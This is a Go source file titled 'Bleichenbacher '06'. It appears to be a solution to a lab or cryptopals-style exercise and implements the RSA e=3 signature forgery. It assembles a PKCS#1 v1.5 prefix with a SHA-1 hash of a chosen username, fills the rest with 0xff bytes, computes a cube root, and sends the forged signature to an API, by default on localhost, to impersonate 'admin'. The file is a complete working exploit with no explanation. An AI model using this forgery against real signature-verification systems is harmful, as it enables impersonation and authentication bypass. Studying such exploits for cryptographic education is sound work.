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Bleichenbacher '06
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| package main | |
| import ( | |
| "crypto/sha1" | |
| "encoding/hex" | |
| "flag" | |
| "fmt" | |
| "io/ioutil" | |
| "log" | |
| "math/big" | |
| "net/http" | |
| "net/url" | |
| ) | |
| var ( | |
| name, apiURL string | |
| n = new(big.Int) | |
| tmp = new(big.Int) | |
| padding = [...]byte{0x00, 0x01, 0xff, 0x00} | |
| asn1Goop = [...]byte{0x30, 0x21, 0x30, 0x09, 0x06, 0x05, 0x2b, 0x0e, 0x03, 0x02, 0x1a, 0x05, 0x00, 0x04, 0x14} | |
| ) | |
| func init() { | |
| nStr := flag.String("modulus", "0", "RSA Modulus") | |
| flag.StringVar(&name, "name", "admin", "username to impersonate") | |
| flag.StringVar(&apiURL, "api-url", "http://localhost:4242/api", "API URL") | |
| flag.Parse() | |
| if _, ok := n.SetString(*nStr, 10); !ok { | |
| log.Fatal("invalid modulus") | |
| } | |
| } | |
| func main() { | |
| hashed := sha1.Sum([]byte(name)) | |
| prefix := append(append(padding[:], asn1Goop[:]...), hashed[:]...) | |
| fakeSig := append(prefix, garbage(n.BitLen()/8-len(prefix))...) | |
| if err := send(name, cubeRoot(new(big.Int).SetBytes(fakeSig)).Bytes()); err != nil { | |
| log.Fatal(err) | |
| } | |
| } | |
| func garbage(n int) (ret []byte) { | |
| for i := 0; i < n; i++ { | |
| ret = append(ret, 0xff) | |
| } | |
| return ret | |
| } | |
| // cubeRoot computes a cube root using newton's method. | |
| func cubeRoot(x *big.Int) *big.Int { | |
| prev := new(big.Int).Set(x) | |
| guess := new(big.Int).Div(x, big.NewInt(2)) | |
| three := big.NewInt(3) | |
| for prev.Cmp(guess) != 0 { | |
| prev.Set(guess) | |
| guess.Mul(guess, tmp.Mul(guess, guess)) | |
| guess.Sub(guess, x) | |
| guess.Div(guess, tmp.Mul(three, tmp.Mul(prev, prev))) | |
| guess.Sub(prev, guess) | |
| } | |
| return tmp.Sub(guess, big.NewInt(1)) | |
| } | |
| func send(name string, sig []byte) error { | |
| u, err := url.Parse(apiURL) | |
| if err != nil { | |
| return err | |
| } | |
| query := make(url.Values) | |
| query.Set("sig", hex.EncodeToString(sig)) | |
| query.Set("name", name) | |
| u.RawQuery = query.Encode() | |
| fmt.Println("GET", u.String()) | |
| resp, err := http.Get(u.String()) | |
| if err != nil { | |
| return err | |
| } | |
| defer resp.Body.Close() | |
| b, err := ioutil.ReadAll(resp.Body) | |
| if err != nil { | |
| return err | |
| } | |
| fmt.Println(resp.StatusCode, string(b)) | |
| return nil | |
| } |
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